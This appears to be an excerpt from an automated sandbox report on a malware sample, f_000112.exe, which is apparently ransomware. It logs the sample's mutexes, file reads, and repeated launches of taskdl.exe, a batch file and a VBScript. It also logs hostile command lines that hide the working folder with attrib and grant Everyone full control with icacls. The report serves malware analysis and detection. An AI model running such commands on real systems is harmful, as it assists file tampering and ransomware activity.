          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6916:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3184:120:WilError_03
          Source: C:\Users\user\Desktop\f_000112.exeMutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Temp\~SD7545.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 234691724246428.bat
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
          Source: f_000112Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Windows\SysWOW64\cscript.exeFile read: C:\Users\desktop.ini
          Source: C:\Users\user\Desktop\f_000112.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
          Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
          Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
          Source: C:\Windows\System32\SIHClient.exeFile read: C:\Windows\System32\drivers\etc\hosts
          Source: f_000112ReversingLabs: Detection: 92%
          Source: unknownProcess created: C:\Users\user\Desktop\f_000112.exe "C:\Users\user\Desktop\f_000112.exe"
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
          Source: C:\Windows\SysWOW64\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\icacls.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 234691724246428.bat
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\MoUsoCoreWorker.exe C:\Windows\System32\mousocoreworker.exe -Embedding
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\SIHClient.exe C:\Windows\System32\sihclient.exe /cv sLtwoH0bEUKG+NxKNhh+6w.0.2
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\f_000112.exe "C:\Users\user\Desktop\f_000112.exe"
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
          Source: C:\Windows\SysWOW64\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\icacls.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 234691724246428.bat
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
